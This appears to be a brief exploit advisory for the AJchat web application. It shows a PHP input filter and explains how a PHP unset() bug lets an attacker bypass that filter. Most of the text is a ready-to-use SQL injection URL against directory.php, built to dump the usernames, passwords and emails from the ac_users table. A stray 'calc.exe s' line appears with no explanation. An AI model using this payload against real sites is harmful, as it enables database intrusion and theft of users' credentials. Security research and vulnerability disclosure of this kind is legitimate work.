----[ AJchat Remote Sql Injection using unset() bug ... ITDefence.ru Antichat.ru ]

							AJchat Remote Sql Injection using unset() bug
							Eugene Minaev underwater@itdefence.ru 
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		<?php
		if (isset($_GET["s"])){
		$_GET["s"] = strtoupper($_GET["s"]);
		if (strlen($_GET["s"])==1 && $_GET["s"]>='A' && $_GET["s"]<='Z'){
		// nothing
		}else unset($_GET['s']);
		} 
		?>
		
		As we can see , $_GET['s'] can include only A..Z characters , in other way script unset() it.
		
		calc.exe s
		5861526=1
		5863704=1
		
		directory.php?s='and 1 = 2 union select concat_ws(char(59),id,username,password,email),null+from+ac_users/*&5861526=1&5863704=1

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